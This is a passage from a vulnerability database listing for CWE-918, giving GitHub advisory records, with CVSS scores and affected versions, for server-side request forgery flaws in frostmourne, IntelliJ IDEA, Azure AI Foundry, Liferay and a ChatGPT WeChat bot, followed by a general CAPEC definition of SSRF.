  "summary": "QOS.CH logback-core Server-Side Request Forgery vulnerability"
}

GHSA-6V6H-RFVH-83R8

Vulnerability from github – Published: 2026-04-01 09:31 – Updated: 2026-04-01 09:31
VLAI
Details

A vulnerability was determined in AutohomeCorp frostmourne up to 1.0. The affected element is an unknown function of the file frostmourne-monitor/src/main/java/com/autohome/frostmourne/monitor/controller/AlarmController.java of the component Alarm Preview. Executing a manipulation can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T08:16:05Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in AutohomeCorp frostmourne up to 1.0. The affected element is an unknown function of the file frostmourne-monitor/src/main/java/com/autohome/frostmourne/monitor/controller/AlarmController.java of the component Alarm Preview. Executing a manipulation can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.",
  "id": "GHSA-6v6h-rfvh-83r8",
  "modified": "2026-04-01T09:31:27Z",
  "published": "2026-04-01T09:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5259"
    },
    {
      "type": "WEB",
      "url": "https://fx4tqqfvdw4.feishu.cn/docx/GE4GdxBxKoSvBOxhkTRcsawlnhc?from=from_copylink"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/780669"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354449"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354449/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6V6X-GP82-9JQJ

Vulnerability from github – Published: 2026-08-17 18:31 – Updated: 2026-08-17 18:31
VLAI
Details

In JetBrains IntelliJ IDEA before 2026.2.1 sSRF was possible via the DevKit debug listener endpoint

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-75053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-17T16:17:52Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains IntelliJ IDEA before 2026.2.1 sSRF was possible via the DevKit debug listener endpoint",
  "id": "GHSA-6v6x-gp82-9jqj",
  "modified": "2026-08-17T18:31:20Z",
  "published": "2026-08-17T18:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75053"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6V72-F7JH-HJ5V

Vulnerability from github – Published: 2026-09-18 00:31 – Updated: 2026-09-18 00:31
VLAI
Details

Server-side request forgery (ssrf) in Azure AI Foundry allows an unauthorized attacker to elevate privileges over a network.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-85917"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-17T23:18:53Z",
    "severity": "HIGH"
  },
  "details": "Server-side request forgery (ssrf) in Azure AI Foundry allows an unauthorized attacker to elevate privileges over a network.",
  "id": "GHSA-6v72-f7jh-hj5v",
  "modified": "2026-09-18T00:31:10Z",
  "published": "2026-09-18T00:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85917"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85917"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6V93-FRF9-2RP8

Vulnerability from github – Published: 2025-08-09 06:30 – Updated: 2025-12-20 03:23
VLAI
Summary
Liferay Portal and Liferay DXP vulnerable to Server-Side Request Forgery
Details

Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.4, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.15, and 7.4 GA through update 92 allow a pre-authentication blind SSRF vulnerability in the portal-settings-authentication-opensso-web component due to improper validation of user-supplied URLs. An attacker can exploit this issue to force the server to make arbitrary HTTP requests to internal systems, potentially leading to internal network enumeration or further exploitation.

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.4.0"
            },
            {
              "last_affected": "7.4.3.132"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2025.Q1.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.Q1.0"
            },
            {
              "fixed": "2025.Q1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q4.0"
            },
            {
              "last_affected": "2024.Q4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q3.1"
            },
            {
              "last_affected": "2024.Q3.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q2.0"
            },
            {
              "last_affected": "2024.Q2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2024.Q1.15"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q1.0"
            },
            {
              "fixed": "2024.Q1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "7.4.13.u92"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-4581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-11T17:49:09Z",
    "nvd_published_at": "2025-08-09T05:15:29Z",
    "severity": "MODERATE"
  },
  "details": "Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.4, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.15, and 7.4 GA through update 92 allow a pre-authentication blind SSRF vulnerability in the portal-settings-authentication-opensso-web component due to improper validation of user-supplied URLs. An attacker can exploit this issue to force the server to make arbitrary HTTP requests to internal systems, potentially leading to internal network enumeration or further exploitation.",
  "id": "GHSA-6v93-frf9-2rp8",
  "modified": "2025-12-20T03:23:20Z",
  "published": "2025-08-09T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4581"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-4581"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal and Liferay DXP vulnerable to Server-Side Request Forgery"
}

GHSA-6VC2-FW8R-6XJF

Vulnerability from github – Published: 2024-03-05 18:31 – Updated: 2024-08-29 21:31
VLAI
Details

A Server-Side Request Forgery (SSRF) in weixin.php of ChatGPT-wechat-personal commit a0857f6 allows attackers to force the application to make arbitrary requests.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-05T17:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Request Forgery (SSRF) in weixin.php of ChatGPT-wechat-personal commit a0857f6 allows attackers to force the application to make arbitrary requests.",
  "id": "GHSA-6vc2-fw8r-6xjf",
  "modified": "2024-08-29T21:31:02Z",
  "published": "2024-03-05T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27565"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dirk1983/chatgpt-wechat-personal/issues/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list